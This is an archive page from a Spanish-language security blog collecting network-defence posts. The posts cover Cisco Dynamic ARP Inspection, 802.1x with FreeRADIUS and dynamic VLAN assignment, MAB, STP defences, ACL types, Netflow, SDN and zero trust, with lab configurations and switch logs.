Analizando nuestra red (IV)

26 de febrero de 2019 Por

Hace ya tiempo hablamos en este blog del uso de Netflow para analizar nuestra red y la posibilidad de detectar patrones de tráficos sospechosos.

Dado que para analizar tráfico, una de las formas habituales es disponer de un port mirror configurado en la electrónica de red enviando el tráfico interesante hacia nuestro NIDS, y no siempre existe la posibilidad de recibir tráfico Netflow directamente de los dispositivos, si no necesitamos el payload de la comunicaciones, por ejemplo para sacar información estadística o buscar anomalías, podemos usar herramientas para enviar el tráfico recibido como flujo Netflow y proceder a analizarlos. Para este post, usaremos Softflowd para realizar dicho envío.

[Disclaimer: existen otras herramientas, seguramente más actualizadas o con mayores funcionalidades, pero he decidido usar esta por sencillez.]

Una vez instalada la herramienta a través de nuestro gestor de paquetes favorito, indicamos en el fichero /etc/default/softflowd la interfaz a través de la cual voy a recibir el tráfico y el destino donde enviamos el flujo Netflow:

[Read more…]

Essential Reading for the Security Professional

12 de septiembre de 2017 Por

Hace ya algún tiempo, desde la cuenta de twitter @securityartwork lanzamos una petición para crear lista de libros imprescindibles en el ámbito de seguridad
(https://www.securityartwork.es/2016/02/12/recopilacion-de-algunos-libros-imprescindibles-para-aprender-seguridad-informatica-secbook)

Ampliando el post original y pensando en los que empiecen ahora sus vacaciones o dispongan de tiempo y ganas de buena lectura, os hacemos partícipes de Cybersecurity Canon, una iniciativa que lleva varios años promoviéndose desde Palo Alto Networks.

Como seguramente todos sabréis, Palo Alto Networks es una empresa de seguridad con sede en California, conocida principalmente, al menos en mi caso, por su firewall de nueva generación y por su equipo de investigación de amenazas UNIT 42 (https://www.paloaltonetworks.com/threat-research).

Como el nombre del post indica, esta iniciativa pretende identificar los libros de lectura obligatoria para todos los profesionales de la ciberseguridad, sean de ficción o no, y en la que cualquier profesional puede involucrarse. Para ello se puede escribir una revisión acerca de un libro relacionado con el ámbito de la ciberseguridad, la cual debe cumplir unos requisitos establecidos. De esta forma,  una vez se valida la revisión del libro, éste pasa a la lista de candidatos publicados en la web.

Todos los años desde Palo Alto, un comité de expertos revisa las publicaciones de la lista de candidatos y organiza un ‘salón de la fama’ donde, finalmente, durante una ceremonia se intenta entrevistar a los autores de los libros seleccionados.

Por ejemplo, dentro de la iniciativa podemos encontrar algunos clásicos como The Cuckoo’s Egg, The Cryptonomicon o la serie de Hacking Exposed.

¿Qué opinan los lectores de esta iniciativa? ¿Encuentran familiares los títulos de los libros nominados? ¿Se atreverían a publicar una revisión de sus libros favoritos? Esperamos vuestros comentarios.

[Read more…]

Evolucionando nuestro VPMS II

25 de enero de 2017 Por

Hace algo más de dos años que vimos como evolucionar nuestro VPMS inicial para el control de acceso a red, a un sistema basado en una asignación dinámica de VLANs en función del usuario. No obstante, no siempre es posible este tipo de autenticación ya que, por ejemplo, podemos encontrar dispositivos conectados a nuestra red como controles de acceso, teléfonos o impresoras que no dispongan de funcionalidad para su autenticación mediante 802.1x y, por lo tanto, debemos garantizar otro tipo de autenticación, siendo lo más habitual usar la autenticación MAB (MAC Authentication Bypass).

Al igual que vimos en la configuración inicial de nuestro VPMS, mediante la autenticación MAB nos volvemos a basar en la dirección MAC del cliente para proporcionar el acceso a la red (no en el usuario final) aunque, al estar integrado en un servidor Radius, nos da más potencia que la versión inicial de VPMS. No obstante, como todo, tiene sus ventajas e inconvenientes. [Read more…]

Defensas frente a ataques STP

25 de mayo de 2015 Por

Continuando con las medidas de seguridad en capa 2 que hemos visto en entradas anteriores, en este post nos centraremos en STP (Spanning Tree Protocol), protocolo usado en la red para evitar bucles a nivel 2 en nuestra topología.

Es habitual ver tráfico similar a este cuando capturas tu propia interfaz (no entro a valorar si dispones de permisos de administrador o si el equipo es un servidor o un equipo de usuario):

13:44:16.651348 STP 802.1d, Config, Flags [none], bridge-id 8001.00:24:f7:31:65:00.8016, length 43
	message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
	root-id 8001.00:24:f7:31:65:00, root-pathcost 0
13:44:18.660589 STP 802.1d, Config, Flags [none], bridge-id 8001.00:24:f7:31:65:00.8016, length 43
	message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
	root-id 8001.00:24:f7:31:65:00, root-pathcost 0
13:44:20.661034 STP 802.1d, Config, Flags [none], bridge-id 8001.00:24:f7:31:65:00.8016, length 43
	message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
	root-id 8001.00:24:f7:31:65:00, root-pathcost 0
13:44:22.666010 STP 802.1d, Config, Flags [none], bridge-id 8001.00:24:f7:31:65:00.8016, length 43
	message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
	root-id 8001.00:24:f7:31:65:00, root-pathcost 0
13:44:24.670848 STP 802.1d, Config, Flags [none], bridge-id 8001.00:24:f7:31:65:00.8016, length 43
	message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
	root-id 8001.00:24:f7:31:65:00, root-pathcost 0

[Read more…]

Defensas frente a ataques ARP

30 de enero de 2015 Por

Recientemente he estado revisando documentación de controles de red a nivel 2 y justo vino a mi memoria el post de Borja Merino de hace algún tiempo.

En el post, Borja hablaba de cómo hacer frente a ataques DHCP mediante la funcionalidad DHCP Snooping de Cisco, hablando de puertos confiables y no confiables, y de la tabla de asociación IP-MAC usada. También hace referencia a DAI (Dynamic ARP Inspection) como funcionalidad de seguridad para poder evitar posibles ataques MitM como ARP poisoning; es justo esta funcionalidad en la que nos centraremos en la entrada de hoy.

DAI es una medida de seguridad disponible en switches Cisco que nos permite validar los paquetes ARP de la red; al igual que en el post de Borja, DAI utiliza la tabla de asociaciones IP-MAC generada por DHCP Snooping, aunque esto es opcional. Para este post, daremos de alta las entradas de forma manual, algo poco eficaz en entornos grandes.

DAI intercepta las peticiones y respuestas de los puertos no confiables (untrusted) y las valida contra la tabla antes de actualizar su cache y permitir el tráfico. Puesto que el comportamiento por defecto es definir todos los puertos como untrusted, deberemos especificar los puertos confiables (trusted) mediante el comando ip arp inspection trust para evitar el bloqueo de puertos, por ejemplo de puertos de conexión con servidores o enlaces troncales entre switches.

Nuestra arquitectura de red es similar a la vista en el post de Borja, disponemos de un switch, en este caso un Cisco 3750, dos equipos de usuarios y un servidor DHCP aunque éste último, no vamos a usarlo ya que se configurarán manuales.

Lo primero que hacemos es comprobar que existe conectividad entre ambos equipos (¡cuántas veces hemos asumido que todo funciona antes de modificar algo y luego, cuando no va y tenemos que ir deshaciendo lo realizado, vemos que antes tampoco funcionaba como tocaba!). Una vez aseguramos la conectividad, procedemos a activar DAI.

Por defecto, DAI inspecciona todos los paquetes ARP enviados desde los puertos no confiables para asegurar la presencia de una correspondencia IP-MAC en la tabla de asociaciones. Aunque pueden activarse validaciones de seguridad adicionales mediante el comando ip arp inspection validate, nosotros usaremos las funcionalidades por defecto.

Switch(config)# ip arp inspection vlan 1

La activación, como hemos comentado anteriormente, define todos los puertos como no confiables:

Switch# show ip arp inspection interfaces 

 Interface        Trust State     Rate (pps)    Burst Interval
 ---------------  -----------     ----------    --------------
…
 Gi1/0/20         Untrusted               15                 1
…
 Gi1/0/24         Untrusted               15                 1

Por lo que se comprobaría la presencia en la tabla de asociaciones de una entrada, algo que hemos dicho que realizaríamos de forma manual, y al no encontrar ninguna, bloqueará el tráfico. Esto podemos verlo claramente en el log que muestra la consola, y donde se especifica MAC origen, IPs origen, destino e interfaz.

01:16:20: %SW_DAI-4-DHCP_SNOOPING_DENY: 1 Invalid ARPs (Req) on Gi1/0/20, vlan 1.([0024.beec.2526/172.18.0.222/0000.0000.0000/172.18.0.111/01:16:20 UTC Mon Mar 1 1993])

Aunque ya hemos visto que funciona, podremos validar que la funcionalidad se encuentra activada y se está bloqueando el tráfico:

Switch# show ip arp inspection vlan 1

Source Mac Validation      : Disabled
Destination Mac Validation : Disabled
IP Address Validation      : Disabled

 Vlan     Configuration    Operation   ACL Match          Static ACL
 ----     -------------    ---------   ---------          ----------
    1     Enabled          Active                         

 Vlan     ACL Logging      DHCP Logging      Probe Logging
 ----     -----------      ------------      -------------
    1     Deny             Deny              Off          

Switch#  show ip arp inspection statistics

 Vlan      Forwarded        Dropped     DHCP Drops      ACL Drops
 ----      ---------        -------     ----------      ---------
    1            0            971            971              0

El siguiente paso será añadir manualmente, las asociaciones IP-MAC de cada uno de los equipos en la tabla, especificando la interfaz donde están conectados:

Switch(config)# ip source binding 0024.beec.2526 vlan 1 172.18.0.222 interface gigabitEthernet 1/0/20                                                                                               
Switch(config)# ip source binding 0050.5b00.0dff vlan 1 172.18.0.111 interface gigabitEthernet 1/0/24

Y ver que se han almacenado correctamente:

Switch# show  ip source binding
MacAddress          IpAddress        Lease(sec)  Type           VLAN  Interface
------------------  ---------------  ----------  -------------  ----  --------------------
00:50:5B:00:0D:FF   172.18.0.111     infinite    static          1     GigabitEthernet1/0/24
00:24:BE:EC:25:26   172.18.0.222     infinite    static          1     GigabitEthernet1/0/20

Esta asociación también podría hacerse definiendo una ACL.

Llegados a este punto, volveríamos a tener conectividad, por lo que si volvemos a comprobar las estadísticas, vemos que ya aparece tráfico reenviado:

Switch#  show ip arp inspection statistics 

 Vlan      Forwarded        Dropped     DHCP Drops      ACL Drops                                                                                                                                           
 ----      ---------        -------     ----------      ---------                                                                                                                                           
    1            120            316            316              0

Hasta aquí, solo hemos visto el comportamiento normal del sistema, pero ahora, vamos a enviar tráfico con una dirección MAC (o IP) distinta de las introducidas en la tabla anterior; esto puede hacerse de forma manual cambiando la configuración del adaptador de red, o con herramientas de manipulación de tráfico como scapy.

Al cambiar la dirección MAC perdemos la conexión con el equipo remoto, y volvemos a ver avisos en el log donde se indica la nueva dirección MAC, la cual no aparece en la tabla de asociaciones:

1:32:15: %SW_DAI-4-DHCP_SNOOPING_DENY: 1 Invalid ARPs (Req) on Gi1/0/24, vlan 1.([0050.5b00.0df1/172.18.0.111/0000.0000.0000/172.18.0.222/01:32:15 UTC Mon Mar 1 1993])

Y vemos cómo el número de paquetes dropeados aumenta:

Switch#  show ip arp inspection statistics 

 Vlan      Forwarded        Dropped     DHCP Drops      ACL Drops
 ----      ---------        -------     ----------      ---------
    1            135            380            380              0

Esta configuración mostrará un aviso en el log, pero es más interesante configurar el equipo para que, en caso de detectar que el número de paquetes ARP que no tienen presencia en la tabla, supere un umbral definido, por ejemplo un paquete por segundo, bloquee el puerto (err-disabled) durante un periodo de tiempo (y lo notifique por SNMP).

Switch(config)# errdisable recovery cause arp-inspection   
Switch(config)#  interface gigabitEthernet 1/0/24
Switch(config-if)# ip arp inspection limit 1

Puesto que el equipo sigue intentando conectarse, el puerto se bloquea automáticamente:

01:42:47: %SW_DAI-4-DHCP_SNOOPING_DENY: 1 Invalid ARPs (Req) on Gi1/0/24, vlan 1.([0050.5b00.0df1/172.18.0.111/0000.0000.0000/172.18.0.222/01:42:46 UTC Mon Mar 1 1993])
01:42:47: %SW_DAI-4-PACKET_RATE_EXCEEDED: 2 packets received in 998 milliseconds on Gi1/0/24.
01:42:47: %PM-4-ERR_DISABLE: arp-inspection error detected on Gi1/0/24, putting Gi1/0/24 in err-disable stateexit
01:42:48: %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0/24, changed state to down

Y así lo veremos el estado de la interfaz sospechosa:

Switch# show  interfaces gigabitEthernet 1/0/24 status 

Port      Name               Status       Vlan       Duplex  Speed Type
Gi1/0/24                     err-disabled 1            auto   auto 10/100/1000BaseTX

También podríamos verlo si tenemos activado el log de violaciones detectadas por DAI mediante el comando show ip arp inspection log.

Dado que no hemos modificado el tiempo, el puerto estará 5 minutos bloqueado, pudiendo ver cuanto tiempo queda hasta la próxima comprobación:

Switch# show  errdisable  recovery                     
ErrDisable Reason    Timer Status
-----------------    --------------
arp-inspection       Enabled
…

Timer interval: 300 seconds

Interfaces that will be enabled at the next timeout:

Interface    Errdisable reason    Time left(sec)    Errdisabled vlans
---------    -----------------    --------------    -----------------
Gi1/0/24     arp-inspection            118

Si mientras el puerto esta bloqueado, volvemos a dejar la dirección MAC correcta, una vez venza el timeout, el puerto volverá a levantar correctamente y recuperaremos la conectividad:

01:48:51: %PM-4-ERR_RECOVER: Attempting to recover from arp-inspection err-disable state on Gi1/0/24control Disabled
01:48:54: %LINK-3-UPDOWN: Interface GigabitEthernet1/0/24, changed state to up
01:48:55: %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0/24, changed state to up

Como comentaba Borja en su entrada, existen distintas funcionalidades de seguridad a este nivel que debemos tener en cuenta a la hora de comprar nuevos equipos. No obstante, es habitual que este tipo de medidas vengan desactivadas por defecto y queden sin configurar salvo para casos puntuales.

Como reflexión final para los lectores, ¿disponen de medidas de seguridad a nivel 2 en sus organizaciones?

Evolucionando nuestro VPMS

14 de noviembre de 2014 Por

En este mismo blog, hace ya casi dos años, vimos el uso de un servidor VPMS (VLAN Management Policy Server) como punto de partida para poder asignar de forma dinámica los equipos de nuestra red a las distintas vLANs corporativas. Esta asignación estaba basada en la dirección MAC de los clientes, algo que habitualmente es complicado de mantener.

Tiempo mas tarde, hablamos de AAA (authentication, authorization and accounting ) en dos entradas (ver la primera y la segunda), donde vimos a modo de ejemplo, la autenticación de la conexión a red de los usuarios mediante 802.1x, usando para ello un servidor Radius.

Teniendo esto en mente como punto de partida, usaremos ambas aproximaciones para mejorar el control de acceso basado en MAC, mediante un control de acceso basado en usuario con asignación dinámica de vLAN.

Para ello, dispondremos de los siguientes elementos:

  • Switch de acceso a la red (Cisco 2960) como Authenticator (172.18.0.200).
  • Servidor Radius (Freeradius) como Authentication Server (172.17.2.23).
  • Equipo de usuario (Microsoft Windows) como Supplicant.

La configuración inicial es similar a la vista en las entradas comentadas anteriormente; únicamente cambia la configuración de un router a un switch, no obstante, la repasamos rápidamente:

Configuramos nuestro switch como cliente Radius

client 172.18.0.200
{
secret = password
shortname = switch
nasstype = cisco
}

Configuramos un usuario en el servidor Radius:

juanito Cleartext-Password := "password" 
        Service-Type = NAS-Prompt-User,

Configuramos el grupo de autenticación Radius en nuestro switch:

Switch(config)# aaa new-model
Switch(config)# aaa authentication dot1x default group radius
Switch(config)# aaa authorization network default group radius
Switch(config)# radius-server host 172.17.2.23 auth-port 1812 acct-port  1813
Switch(config)# radius-server deadtime 15
Switch(config)# radius-server key password

Probamos el acceso desde el propio dispositivo:

Switch(config)# test aaa group radius juanito password  legacy   
Attempting authentication test to server-group radius using radius
User was successfully authenticated.

Lógicamente, en nuestro servidor Radius vemos la petición de autenticación:

Sending Access-Accept of id 3 to 172.18.0.200 port 1645
	Service-Type = NAS-Prompt-User
Finished request 0.
Going to the next request
Waking up in 4.9 seconds.
Cleaning up request 0 ID 3 with timestamp +54
Ready to process requests.

A continuación, activamos 802.1x en el switch y lo configuramos en las distintas interfaces que deben autenticar las conexiones:

Switch(config)# dot1x system-auth-control 
Switch(config)# interface fastethernet0/1
Switch(config-if)# switchport mode access
Switch(config-if)# dot1x port-control auto

En primera instancia, tras configurar el cliente Microsoft Windows para que use 802.1x, sin proporcionarle credenciales validas (intenta conectar como usuario admin), el puerto se encuentra en estado unauthorized.

rad_recv: Access-Request packet from host 172.18.0.200 port 1645, id=7, length=252
	User-Name = "admin"
	Service-Type = Framed-User
	Framed-MTU = 1500
	Called-Station-Id = "00-24-F7-31-65-01"
	Calling-Station-Id = "00-23-8B-D7-C2-B3"
	EAP-Message = 0x0204005719800000004d160301004801000044030154645b90ee44b4c850d326f
c8490c49f27f059d0f4678e7af4de61f3ee59458600001600040005000a000900640062000300060013001200
6301000005ff01000100
	Message-Authenticator = 0xeff1ecf7d1d39606489db0221e8c5329
	NAS-Port-Type = Ethernet
	NAS-Port = 50001
	NAS-Port-Id = "FastEthernet0/1"
	State = 0x192fe485182bfd62a347eaa218ef304c
	NAS-IP-Address = 172.18.0.200

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0

Dot1x Authenticator Client List Empty

Port Status               = UNAUTHORIZED

Tras proporcionar credenciales validas (usuario juanito), el puerto queda autorizado para la conexión:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0023.8bd7.c2b3
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
          
Port Status               = AUTHORIZED
Authentication Method     = Dot1x
Authorized By             = Authentication Server
Vlan Policy               = N/A

Como podemos ver, no se ha asignado ninguna vLAN a la conexión autenticada, dejando esta asignación directamente al switch.

Hasta aquí, todo ha funcionado de forma similar a lo visto en el post sobre AAA. Ahora estamos en el punto de partida para poder asignar las distintas vLANs a los usuarios.

Como ya vimos, lo primero es dar de alta las interfaces en el switch. En este caso, creamos una vLAN adicional (24) cuyo uso veremos más tarde:

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
21   GESTION                          active
22   USUARIOS                         active
23   INVITADOS                        active
24   RESTRICTED                       active

Lo primero que haríamos podría ser asignar a todos los clientes que no han sido autenticados, en la vLAN de invitados. En esta vLAN se podría permitir sólo cierto tipo de tráfico en nuestra red.

Para ello, definimos la vLAN guest en la interfaz configurada:

Switch(config)# interface fas 0/1
Switch(config-if)# dot1x guest-vlan 23

De esta forma, cuando el cliente conecta, la conexión inicia el proceso de autenticación (authenticating), indicando que ya dispone de una Guest-Vlan configurada:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Guest-Vlan                = 23  

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0023.8bd7.c2b3
    Auth SM State         = AUTHENTICATING
    Auth BEND SM State    = REQUEST
Port Status               = UNAUTHORIZED
Authentication Method     = Dot1x

Tras vencer el timeout (la autenticación no ha sido denegada), podemos ver como el puerto queda asignado a la vLAN de invitados:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Guest-Vlan                = 23

Dot1x Authenticator Client List Empty

Domain                    = DATA
Port Status               = AUTHORIZED
Authorized By             = Guest-Vlan
Operational HostMode      = MULTI_HOST
Vlan Policy               = 23

El siguiente punto podría ser diferenciar la autenticación por timeout de una autenticación expresamente denegada. En versiones más actuales de IOS, es posible diferenciar esto mediante el uso de dos vLANs, para ello, usaremos nuestra vLAN 24, y de igual manera, configuramos el puerto.

Switch(config)# interface fas 0/1
Switch(config-if)# dot1x auth-fail max-attempts 1 
Switch(config-if)# dot1x auth-fail vlan 24

Tras fallar expresamente la autenticación, el puerto queda asignado a dicha vLAN, sin acceso a la red:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Auth-Fail-Vlan            = 24
Auth-Fail-Max-attempts    = 1
Guest-Vlan                = 23

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0024.beec.2526
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
Port Status               = AUTHORIZED
Authentication Method     = Dot1x
Authorized By             = Auth-Fail-Vlan
Vlan Policy               = 24

Y podemos ver la asignación directamente en el switch:

Switch# show  vlan id 24

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
24   RESTRICTED                       active    Fa0/1

Finalmente, llegamos al objetivo deseado, poder asignar a nuestro usuario juanito a la vLAN de GESTION (21) como gestor de red que es. Para ello, debemos definir esta asignación en el fichero de usuarios de Radius: 

juanito Cleartext-Password := "password"
     	Service-Type = NAS-Prompt-User,
        Tunnel-type=VLAN,
        Tunnel-Medium-Type=IEEE-802,
        Tunnel-Private-Group-Id="21",

Tras volver a autenticarnos en el sistema, veremos en el log del servidor el envío de los nuevos parámetros definidos para la asignación de vLAN:

Sending Access-Accept of id 22 to 172.18.0.200 port 1645
	Service-Type = NAS-Prompt-User
	Tunnel-Type:0 = VLAN
	Tunnel-Medium-Type:0 = IEEE-802
	Tunnel-Private-Group-Id:0 = "21"
	User-Name = "juanito"

Quedando la interfaz donde se ha conectado el cliente, asignada finalmente a la vLAN de gestión:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Critical-Auth             = Enabled
Auth-Fail-Vlan            = 24
Auth-Fail-Max-attempts    = 1
Guest-Vlan                = 23

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0024.beec.2526
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
Port Status               = AUTHORIZED
          
Authentication Method     = Dot1x
Authorized By             = Authentication Server
Vlan Policy               = 21


Switch# show  vlan id 21

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
21   GESTION                          active    Fa0/1

Con esta asignación, podríamos mejorar la seguridad de nuestra red interna un poco más que con la solución VPMS vista, ya que el control de acceso se realizaría en base al usuario y no al dispositivo.

Lógicamente, podemos disponer de ambas soluciones, dependiendo de las necesidades de acceso a nuestra red. Por ejemplo, dejando la parte de autenticación de usuarios a los controladores de dominio existentes y unificando criterios de seguridad a nivel de contraseñas. Otro caso podría ser una visita que requiere acceso a internet (vía red cableada) pero no dispone de usuario en el dominio; en este caso, la vLAN de invitados podría redirigir el tráfico a un portal cautivo sobre el cual dispondría de unas credenciales temporales de uso durante su estancia en las oficinas.

Aunque hemos visto una breve aproximación de un control de acceso a red, existen multitud de soluciones NAC en el mercado, tanto libres como comerciales, para controlar este tipo de accesos, no sólo proporcionando acceso a la red en caso de disponer de usuario válido, sino también, para comprobar el sistema cliente y verificar que dispone de antivirus actualizado, parches de seguridad instalados, etc.

Esperamos que os haya resultado interesante. Si tenéis alguna duda o comentario sobre su aplicación, implementación o funcionamiento, podéis indicarlo en los comentarios.

Tipos de ACLs en dispositivos Cisco

27 de mayo de 2014 Por

Como ya hemos comentado en alguna ocasión en este blog, las listas de control acceso en dispositivos Cisco, en adelante ACLs, nos ayudan a identificar tráfico ‘interesante’ para que posteriormente sea procesado por el sistema. Las ACLs pueden usarse por varios motivos, siendo el más habitual la identificación de tráfico para su filtrado posterior sobre una de las interfaces del dispositivo (access-group). Otro uso habitual es la indentificación de tráfico interesante dentro de un cryptomap de una conexión VPN o cuando usamos NAT.

Sin entrar en detalle, podríamos considerar como las ACLs más usadas las siguientes:

  • ACL estándar: nos permite identificar (autorizar o denegar) tráfico basándonos únicamente en la IP origen.
  • ACL extendida: nos permite identificar tráfico a nivel 4, es decir, aparte por las direcciones IP origen/destino, podemos identificar protocolos o puertos TCP/UDP (incluido el flag established).

No obstante, existen otros tipos de ACLs, algunos de ellos que no aparecen nombrados aquí, que al menos yo prácticamente no he usado nunca:

  • ACL nombrada: similar a las anteriores pero con la posibilidad de usar nombres en lugar de números.
  • ACL dinamica (lock-and-key): donde necesitamos establecer una sesión autenticada con el dispositivo para autorizar el tráfico.
  • ACL reflexiva: donde se autorizan las conexiones salientes y permitiendo la respuesta de dichas conexiones.
  • ACL basada en tiempo: similar a la extendida pero con la posibilidad de poder establecer un control de acceso según un patrón horario.
  • ACL basada en contexto (CBAC): donde podemos inspeccionar el tráfico para permitir accesos temporales a las sesiones establecidas, como retorno de las mismas o como conexiones adicionales.

Un caso que quizás nos podría llevar a confusión (a mi me pasó la primera vez que lo ví), sería por ejemplo cuando trabajamos con un switch de capa3, como podría ser el Cisco 3750, en donde podemos aplicar VACLs, es decir, aplicar ACLs a las Vlans existentes. Supongamos por ejemplo que tenemos una ACL como la siguiente:

ip access-list extended ACL_FILTRADO
 deny ip host 192.168.1.100 any
 permit ip 192.168.1.0 0.0.0.255 192.168.2.0 0.0.0.255

Si nos centramos únicamente en esta configuración, podríamos asumir que el tráfico de la dirección IP 192.168.1.100 será denegado; el tráfico desde la red 192.168.1.0/24 a la red 192.168.2.0/24 será permitido y finalmente, el resto de tráfico será denegado por defecto, ya que habitualmente asociamos las ACLs a un filtrado de tráfico en una interfaz, pero recordemos que estamos identificando tráfico para su procesado posterior.

Efectivamente, si después encontramos un comando access-group en una interfaz del dispositivo, nuestra suposición será correcta. No obstante, podemos encontrar una VACL sobre una de nuestras VLAN, en este caso la 22, de la forma:

vlan access-map VACL_FILTRADO 10
 match ip address ACL_FILTRADO
 action drop
vlan access-map VACL_FILTRADO 20
 action forward
vlan filter VACL_FILTRADO vlan-list 22

Según esta configuración, la ACL se comporta al contrario de lo que habíamos supuesto. El tráfico que hace match con ella la ACL (permit), será denegado (action drop), y el resto de tráfico se reenviará para su procesado.

Es muy importante tener presente que en una ACL estamos identificando tráfico el cual será procesado más tarde y no asumir por error, aunque es lo habitual, que un deny será tráfico denegado en el dispositivo. Esto nos ayudará a reducir el tiempo en un proceso de troubleshooting a nivel de red para centrarnos identificar y solucionar el verdadero problema.

Si queremos más información de ACLs en Cisco, podemos consultar los siguientes enlaces:

Evolucionando la red

26 de mayo de 2014 Por

Algo habitual a la hora de configurar una red donde podemos encontrar dispositivos de distintos fabricantes como switches o routers, es configurar los equipos de forma manual y por separado, lo cual, dependiendo de la complejidad de la red, puede llegar a hacer prácticamente imposible disponer de mejoras de forma rápida. Por ejemplo, para cubrir por ejemplo las necesidades de ancho de banda o conectividad de nuestros clientes.

Teniendo esto presente y más con la evolución en la actualidad de los sistemas cloud, donde ya se dispone de herramientas para gestionar y desplegar sistemas de forma prácticamente automática, disponer de una red compleja es algo poco factible de mantener de esta forma, por lo que grandes compañías están dedicando gran cantidad de recursos en encontrar una solución, de forma que la gestión de la red no sea nodo a nodo, como hemos dicho, muchas veces cada nodo de un fabricantes distinto, sino de forma centralizada. En la actualidad, ya se disponen de herramientas de gestión centralizada pero habitualmente suelen ser propietarias de cada fabricante.

Desde hace algunos años, todo esto ha dado lugar al concepto conocido como SDN (Software Defined Network), una red donde existe una separación entre el plano de control (control plane) y el de datos (data forwarding plane), dando lugar a la aparición de interfaces independientes que se encargan de gestionar este plano, de forma que sea posible disponer de redes más flexibles y automatizables.

Aparte de la mejora notable a la hora de gestionar la red, por ejemplo a en cuanto a tiempo se refiere, podríamos pensar en la simplificación de los dispositivos de red, ya que éstos dejarían de entender y procesar protocolos diversos y simplemente aceptarían instrucciones del controlador SDN. A nivel de seguridad, también podríamos filtrar el tráfico anómalo en distintos dispositivos de forma centralizada o redirigir dicho tráfico a nuestro IDS o firewall para inspeccionarlo.


(Imagen de la Wikipedia por Denwid)

Dentro de estas interfaces destacaría, por ser la primera, OpenFlow, un protocolo abierto creado por Open Networking Foundation, para permitir la gestión remota de tablas de enrutamiento. No obstante, existen otras interfaces como ONOS, de Open Networking Lab, Netconf/Yang, o directamente la gestión habitual mediante SNMP.


(Imagen de Etherealmind.com)

Actualmente, SDN se encuentra en una etapa inicial donde esta siendo adoptada por grandes operadores, proveedores de cloud o centros de investigación, aunque se prevé que para final de este año empiecen a aparecer de forma masiva aplicaciones y controladores SDN en el mercado. A pesar de ello, ya se dispone de una lista de equipos con soporte en la web de ONF, como la arquitectura Cisco ONE para la progamacion y provision automaticada de la red, o contrail de Juniper.

Zero-trust security model

22 de abril de 2014 Por

Habitualmente, cuando se planifica el diseño de una red y su segmentación posterior mediante por ejemplo, un firewall, es frecuente partir del concepto histórico donde las redes internas son confiables y las externas no. Esto era lo normal hace algunos años donde la mayor parte de los ataques podían iniciarse fuera de la organización. Con este modelo de funcionamiento, es normal que se dé el caso de que un usuario, solamente por estar conectado a una interfaz de red concreta (por ejemplo inside) tenga heredados unos privilegios de acceso. Un claro ejemplo de esto podría ser la definición de security-level de los firewalls Cisco.

